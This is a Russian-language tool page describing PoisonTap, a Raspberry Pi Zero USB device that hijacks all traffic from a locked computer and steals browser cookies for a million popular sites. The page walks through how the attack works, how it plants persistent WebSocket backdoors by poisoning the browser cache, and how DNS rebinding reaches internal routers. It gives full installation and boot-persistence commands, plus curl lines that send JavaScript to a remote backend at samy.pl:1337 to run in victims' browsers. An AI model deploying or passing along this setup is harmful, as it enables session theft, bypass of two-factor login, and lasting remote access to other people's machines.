PoisonTap

Описание PoisonTap

PoisonTap — используя подключённый к USB Raspberry Pi Zero, эксплуатирует заблокированный/защищённый паролем компьютер, забрасывает постоянный, основанный на WebSocket бэкдор, оказывает воздействие на внутреннюю маршрутизацию, перекачивает кукиз.

При подключении PoisonTap (Raspberry Pi Zero & Node.js) к заблокированному/защищённому паролю, аппаратно-программный комплекс:

  • эмулирует Ethernet устройство через USB (или Thunderbolt)
  • перехватывает весь Интернет-трафик с машины (не смотря на низкий приоритет/неизвестный сетевой интерфейс)
  • перекачивает и сохраняет HTTP кукиз и сессии из веб-браузера для сайтов из первого миллиона самых популярных сайтов по Alexa
  • показывает атакующему внутренний маршрут, делает его доступным удалённом
  • предоставляет атакующему внутреннюю маршрутизацию, делает его доступной удалённо через исходящий WebSocket и повторно привязанный DNS
  • устанавливает постоянный, основанный на веб бэкдор в HTTP кэш для сотен тысяч доменов и URL популярных сетей доставки контента (CDN), всё это осуществляется с доступом к пользовательским кукиз посредством травления кэша
  • позволяет злоумышленнику удалённо заставить пользователя сделать HTTP запросы и проксировать обратные ответы (GET и POST) с пользовательскими кукиз на любом забэкдоренном домене
  • не требует разблокировки машины
  • бэкдоры и удалённый доступ сохраняются даже после отключения устройства и ухода злоумышленника

1

PoisonTap обходит следующие механизмы безопасности:

  • Защищённый паролем экран блокировки
  • Приоритет таблицы маршрутизации и порядок служб сетевых интерфейсов
  • Правило ограничения домена
  • X-Frame-Options
  • HttpOnly Cookies
  • Атрибут куки SameSite
  • Двух факторную/Многофакторную аутентификацию (2FA/MFA)
  • DNS закрепление
  • Cross-Origin Resource Sharing (CORS)
  • Защиту HTTPS куки когда флаг Secure и HSTS не задействованы

Демонстрация PoisonTap

PoisonTap встраивается в Raspberry Pi Zero без каких-либо дополнительных компонентов, кроме как кабель микро-USB и карты microSD; также может работать на любом Raspberry Pi (1/2/3) с переходником Ethernet-to-USB/Thunderbolt, или может работать на устройствах, которые могут эмулировать USB гаджеты, такие как Armory и LAN Turtle.

Живая демонстрация и подробности (на английском) доступны в видео:

Домашняя страница: https://samy.pl/poisontap/

Автор: Samy Kamkar

Лицензия: ?

Справка по PoisonTap

Как работает PoisonTap

PoisonTap создаёт каскадный эффект за счёт использования существующего доверия в различных механизмах машины и сети, включая USB/Thunderbolt, DHCP, DNS и HTTP для воспроизведения эффекта снежного кома в эксфильтрации информации, сетевого доступа и установки полупостоянных бэкдоров.

2

Если коротко, PoisonTap выполняет следующее:

Перехват сети

  • Атакующий подключает PoisonTap (в специально подготовленной Raspberry Pi Zero) к заблокированному компьютеру (даже к компьютеру, защищённому паролем).
  • PoisonTap эмулирует Ethernet устройстов (например, Ethernet через USB/Thunderbolt) — по умолчанию, Windows, OS X и Linux распознают ethernet устройстов, автоматически загружают его как низкоприоритетное сетевое устройство и выполняют через него DHCP запрос, даже если машина заблокирована или защищена паролем
  • PoisonTap отвечает на DHCP запрос и предоставляет машине IP адрес, однако DHCP ответ сконструирован так, что сообщает машине, что всё пространство IPv4 (0.0.0.0 - 255.255.255.255) является частью локальной сети PoisonTap, а не маленькая подсеть (вроде 192.168.0.0 — 192.168.0.255)
  • Обычно это не имело бы значения, поскольку вторичное сетевое устройство подключается к машине с более низким приоритетом, чем существующие (доверенные) сетевые устройства, и не заменяет шлюз для Интернет трафика, но…
  • Любая таблица маршрутизации / шлюзовый приоритет / безопасность службы порядка сетевых интерфейсов обходятся благодаря приоритету "LAN трафика" над "Интернет трафиком"
  • PoisonTap эксплуатирует этот сетевой доступ, даже в качестве сетевого устройства с низким приоритетом, поскольку подсети низкоприоритетного сетевого устройства даётся более высокий приоритет, чем шлюзу (маршруту по умолчанию) более высокоприоритетных сетевых интерфейсов
  • Это означает, если трафик предназначен для 1.2.3.4, то при обычных условиях этот трафик отправился бы на дефолтный маршрут/шлюз главного (не-PoisonTap) сетевого устройства. На самом деле трафик получает PoisonTap, поскольку "локальная" сеть/подсеть предположительно содержит 1.2.3.4 и любой другой существующий IP адрес 😉
  • Из-за этого, весь Интернет-трафик проходит через PoisonTap, даже если машина подключена к другому сетевому устройству с более высоким приоритетом и надлежащим шлюзом (истинный wifi, ethernet и т. д.)

3

Перекачивание куки

  • До тех пор, пока в фоне работает веб-браузер, то весьма вероятно, что одна из страниц будет выполнять в фоне HTTP запрос (к примеру, загружать новую рекламу, отправлять данные для платформы аналитики или просто продолжать отслеживать ваши веб-передвижения) через AJAX или динамичные script/iframe тэги
  • Вы сами можете это увидеть, перейдите в панель разработчика/инспектора (обычно Cmd+Shift+I или Ctrl+Shift+I), зайдите на посещаемый веб-сайт, кликните на вкладке Сеть и посмотрите на то, как будет продолжаться доступ к удалённым ресурсам, даже если вы не выполняете никаких действий на странице
  • После этого HTTP запроса, т. к. весь трафик выходит из устройства PoisonTap, PoisonTap на лету спуфит (подменяет) DNS ответы на свой собственный адрес, что приведёт к тому, что HTTP запросы будут отправлены на веб-сервер (Node.js) PoisonTap
  • Если DNS сервер указывает на внутренний IP (LAN), на который у PoisonTap не хватает привилегий, атака продолжается для функционирования в качестве внутреннего DNS сервера, который воспроизведёт публичный IP адрес для различных атакуемых доменов, а публичные IP адреса PoisonTap уже перехватывает
  • После того, как отвечает внутренний DNS сервер, веб-браузер попадает на публичный IP, в конечном счёте переходит на веб-сервер (Node.js) PoisonTap в любом сценарии
  • Когда веб-сервер Node получает запрос, PoisonTap отвечает ответом, который может быть интерпретирован как HTML или Javascript, оба которых выполняются должным образом (многие веб-сайты будут загружать HTML или JS в фоновых запросах)
  • Страница HTML/JS-агностик затем вырабатывает много скрытых iframe, каждый iframe на различный домен из списка миллион самых посещаемых сайтов по Alexa
  • Любая ограничения "X-Frame-Options" обходятся, поскольку PoisonTap теперь является HTTP сервером и выбирает, какие заголовки отправлять клиенту
  • При каждом iframe HTTP запросе к сайту (например, http://nfl.com/PoisonTap), HTTP cookies отправляются от браузера на "публичный IP", перехваченный PoisonTap, которая быстро записывает в журнал кукиз/информацию аутентификации, записывает десятки тысяч пользовательских кукиз в PoisonTap
  • Любые "HttpOnly" для безопасности куки обходятся, и эти куки захватываются, так как на самом домене не выполняется Javascript, он используется, в первую очередь, только для загрузки iframe
  • Любые политики безопасности Cross-Origin Resource Sharing или Same-Origin Policy обходятся, поскольку домен, к которому осуществляется доступ, представляется браузеру легитимным
  • Поскольку мы захватываем кукиз, а не учётные данные, любые реализации 2FA/MFA на этом сайте обходятся, когда атакующий использует куки для входа. Это от того, что мы в действительности не осуществляем функцию входа, а скорее продолжаем сессию, созданную при легитимном входе, что не вызывает срабатывание двухфакторной аутентификации
  • Если сервер использует HTTPS, но для кукиз явным образом не установлен флаг Secure, HTTPS защита обходится и куки отправляются на PoisonTap

4

Удалённый доступ через веб-бэкдоры

  • Пока PoisonTap воспроизводит тысячи PoisonTap, принуждая браузер загружать каждый из них, эти iframe совсем не являются не являются просто пустыми страницами, это скорее HTML+Javascript бэкдоры, которые кэшируются на неопределённый срок
  • Поскольку PoisonTap принудительно кэширует эти бэкдоры на каждом домене, бэкдоры привязаны к этим доменам, дают возможность атакующему использовать кукиз домена для запуска в дальнейшем запросов same-origin, даже если пользователь в данный момент не произвёл вход
  • Например, когда загружается iframe http://nfl.com/PoisonTap, PoisonTap принимает отклонённый Интернет-трафик, отвечает на HTTP запрос через веб-сервер Node
  • Дополнительные HTTP заголовки добавляются для кэширования страницы на неопределённый срок
  • Фактически ответ страницы является комбинацией HTML и Javascript, который создаёт постоянный WebSocket на веб-сервер атакующего (через Интернет, не через устройство PoisonTap)
  • WebSocket остаётся открытым, позволяя злоумышленнику, в любой момент в будущем, обратно подключиться к забэкдоренной машине и выполнить запросы через любой источник, который имеет реализованный бэкдор (сайты Alexa top 1,000,000 — смотрите ниже)
  • Если бэкдор открыт на сайте (например, nfl.com), но пользователь желает атаковать другой домен (например, pinterest.com), злоумышленник может загрузить iframe на nfl.com для бэкдора pinterest.com (http://pinterest.com/PoisonTap)
  • Опять, любые безопасности "X-Frame-Options", Cross-Origin Resource Sharing, и Same-Origin Policy на доменах полностью обходятся, поскольку запросы вызовут кэш, который оставил PoisonTap, а не истинный домен

:

Бэкдор внутреннего маршрута и Удалённый доступ

  • Одна сеть PoisonTap не способна захватить фактическую LAN подсеть истинного сетевого интерфейса (например, если подсеть пользовательского wifi это 192.168.0.x, эта сеть невосприимчива), но…
  • PoisonTap принудительно кэширует бэкдор на специальный хост, в частности IP целевого роутера предваряется ".ip.samy.pl", например, 192.168.0.1.ip.samy.pl, по существу, производиться атака стойкой подмены DNS
  • При использовании PoisonTap в качестве DNS сервера (жертва, использующая публичный DNS сервер), PoisonTap отвечает специализированным временным IP (1.0.0.1), означающий в данный момент любые запросы будут переданы на веб-сервер PoisonTap
  • Если вместо DNS сервера настроено на внутреннюю сеть (например, 192.168.0.x), дополнительный специально сконструированный запрос делается на 1.0.0.1.pin.ip.samy.pl, который говорит моему специализированному серверу DNS (в публичном Интернете) временно реагировать на любые [ip.address].ip.samy.pl адреса с "приколотым" адресом (1.0.0.1) в течение нескольких секунд
  • Затем PoisonTap быстро устанавливает бэкдор на http://192.168.0.1.ip.samy.pl/PoisonTap, который на мгновение направляет на устройство PoisonTap на 1.0.0.1, получить доступ и кэшировать бэкдор с устройства PoisonTap
  • Прикалывание (pinning) DNS и переназначение (rebinding) DNS в обход ограничений возможно благодаря израсходованию таблицы соответствий DNS из-за сотен тысяч запросов., которые предварительно осуществляются, и в будущем не должна произойти перепривязка, что сохраняет эффект от этой атаки на длительный период времени
  • Теперь, когда бэкдор принудительно хеширован на http://192.168.0.1.ip.samy.pl/PoisonTap, любые будущие запросы на 192.168.0.1.ip.samy.pl будут вызывать не прикреплённый IP адрес, что приведёт к преобразованию 192.168.0.1 вместо прямого направления на роутер
  • Это означает, если удалённо через бэкдор загружается хост 192.168.0.1.ip.samy.pl/PoisonTap в iframe, теперь вы можете выполнять AJAX GET/POST на любые другие страницы на внутреннем роутере, полностью удалённо, т. е. даётся удалённый доступ к внутреннему роутеру.
  • Это может привести к другим атакам на роутер, к которым в ином случае атакующий никогда бы не имел доступ, таким как использование дефолтных учётных данных администратора роутера для перезаписи DNS серверов или открывая другие уязвимости аутентификации

7

Recap DNS сервера:

  • [ip.addy].ip.samy.pl обычно отвечает с [ip.addy]
  • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
  • [ip.addy].pin.ip.samy.pl временно (~5 секунд) указывает *.ip.samy.pl to [ip.addy]
  • 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
  • 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
  • (после ~5 секунд)
  • 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

Дополнительные доступные удалённо веб-бэкдоры

  • Дополнительно PoisonTap заменяет тысячи популярных, основанных на CDN, Javascript файлов, например CDN от Google и jQuery, корректным кодом плюс бэкдором, который даёт злоумышленнику доступ на любой загружаемый домен с инфицированным файлов Javascript из CDN
  • Поскольку бэкдор оставляется на каждом домене, это позволяет атакующему удалённо принуждать забэкдоренный браузер выполнять запросы same-origin (AJAX GET/POST), на, теоретически, любом крупном домене, даже если жертва в текущий момент не имеет в данный момент открытых окон на этом домене.
  • Теперь бэкдор будет жить на любом дополнительном сайте, который также использует один из инфицированных, основанных на HTTP, фреймворков CDN Javascript при посещении жертвой сайта

8

Установка PoisonTap

Загрузка PoisonTap

Исходный код: https://github.com/samyk/poisontap

git clone https://github.com/samyk/poisontap.git

Установка / Размещение файлов

# Инструкция адаптированна из https://gist.github.com/gbaman/50b6cca61dd1c3f88f41
sudo bash

# Если Raspbian ДО 2016-05-10, тогда запустите следующую строку:
BRANCH=next rpi-update

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Поместите dhcpd.conf в /etc/dhcp/dhcpd.conf, а остальные файлы в /home/pi/poisontap, затем перезагрузите, чтобы убедиться, что всё работает.

В репозитории присутствует ряд файлов, которые имеют различное применение. Их перечень:

  • backdoor.html — Всякий раз, когда происходит переход по URL http://hostname/PoisonTap для эксфильтрации кукиз, этот файл возвращается в качестве содержимого для принудительного кэширования. Он содержит бэкдор, который создаёт исходящий websocket на samy.pl:1337 (настраивается на любой хост/порт), который остаётся открытым для команд с сервера. Это означает, когда вы загружаете iframe на сайте, такой как http://hostname/PoisonTap, будет заполнено этим содержимым (даже после удаления из машины PoisonTap).
  • backend_server.js — это сервер Node.js, который вы запускаете на вашем доступном из Интернета сервере. Это то, к чему подключается backdoor.html (например, samy.pl:1337). Этот тот же сервер, к которому вы подключаетесь для отправки команд для ваших любимых машин, в которые вы ранее втыкали PoisonTapp, например
# всплывающее окно для жертвы
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# установка кукиз для жертвы
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# принудить жертвы загружить url через ajax (помните, jQuery сохранён внутри бэкдора)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
  • pi_poisontap.js — Он запускается через Node.js на Raspberry Pi Zero и является HTTP сервером, ответственным за обработку любых HTTP запросов, перехватываемых PoisonTap, сохранение перекаченных кукиз и внедрение кэшированных бэкдоров.
  • pi_startup.sh — Он запускается при старте Raspberry Pi Zero, чтобы настроить и поднять эмулятор гаджета Ethernet-over-USB, поднять наш злой DHCP сервер, позволить перенаправлять трафик, DNS спуфинг и запустить описанный выше pi_poisontap.js.
  • target_backdoor.js — Это файл, добавляемый к любым связанным с CDN Javascript файлам, таким образом забэкдоривая их, например, CDN jQuery URL от Google.
  • target_injected_xhtmljs.html — Это код, который внедряется в непреднамеренные/фоновые HTTP/AJAX запросы на машине жертвы и запускает всю атаку. Он сконструирован таким образом, что он может быть интерпретирован как HTML или как Javascript, и при этом исполняет тот же код. В нём же HTML5 canvas, который можно наблюдать в демонстрации, когда страницы пропускаются через PoisonTap.
  • poisontap.cookies.log — Этот файл генерируется после начала отправки HTTP зоапросов с пользовательской машины на PoisonTap, в нём сохраняются куки из браузера вместе с ассоциированным URL/доменом, которому они принадлежат.

Инструкции по PoisonTap

Подробнейшая инструкция по установке PoisonTap начиная с прожига прошивки Raspbian

Часть 1

1. Прожгите Raspbian Jessie full или Raspbian Jessie Lite на SD карту (https://www.raspberrypi.org/downloads/raspbian/).

2. После прожига Raspbian, откройте загрузочный раздел (в Windows Explorer, Finder и т. д.) и добавьте в конец файла config.txt новую строку

dtoverlay=dwc2

и сохраните файл.

3. И, наконец, откройте cmdline.txt. Будьте осторожны с этим файлом, он очень чувствителен к форматированию! Каждый параметр разделяется одиночный пробелом (он не использует новые строки). Вставьте

modules-load=dwc2,g_ether

после

rootwait

Для сравнения, отредактированную версию файла cmdline.txt во время записи можно найти здесь.

Вот и всё, извлеките SD карту из вашего компьютера, поместите её в ваш Raspberry Pi Zero и подключите через USB к вашему компьютеру. Понадобиться до 90 секунд для загрузки (меньше при последующих загрузках). Должно появиться USB Ethernet устройство. Вы можете подключиться к нему по SSH используя raspberrypi.local в качестве адреса.

Часть 2

1. Войдите по ssh в ваш RaspberryPi с

ssh pi@[RASPBERRY_IP]

(пароль по умолчанию «raspberry»)

2. Установите необходимые инструменты запустив

sudo apt-get install dsniff isc-dhcp-server nodejs screen

(NodeJS может уже быть установлен)

3. Теперь нам нужно настроить рабочую облать. Перейдите в домашнюю директорию pi

cd /home/pi/

затем загрузите PoisonTap

git clone https://github.com/samyk/poisontap.git

4. Установите скрипт запускать

sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x /etc/init.d/pi_startup.sh

Также нам нужно запустить pi_startup.sh во время загрузки:

sudo nano /etc/rc.local

и добавьте

/etc/init.d/pi_startup.sh &

ПРЯМО ПЕРЕД

exit 0

Сделайте настройку DHCP: PoisonTap предоставляет конфигурационный файл, просто наберите

sudo cp /home/pi/poistontap/dhcpd.conf /etc/dhcp/dhcpd.conf

Далее нам нужно установить usb0 интерфейс

echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces

(Если у вас появилась ошибка о запрещённом доступе даже с sudo, то просто запустите

su

наберите пароль рута. Если вы не знаете этот пароль, запустите

passwd root

и выберите безопасный пароль). Когда вы вошли под рутом, запустите команду снова. Не забудьте выйти из сессии рута когда вы закончите.

Часть 3

Вы можете отключить все кабели вашей RPi и затем подключить её к целевому компьютеру. (Тупое напоминание: Используйте `OTG raspberry's port`, а не `PWR`).

Подождите несколько секунд и попробуйте загрузить `http://nfl.com` в браузере. Все HTTP запросы будут записаны в RPi в /home/pi/poisontap/poisontap.cookies.log.

Близкие программы:

Рекомендуемые статьи: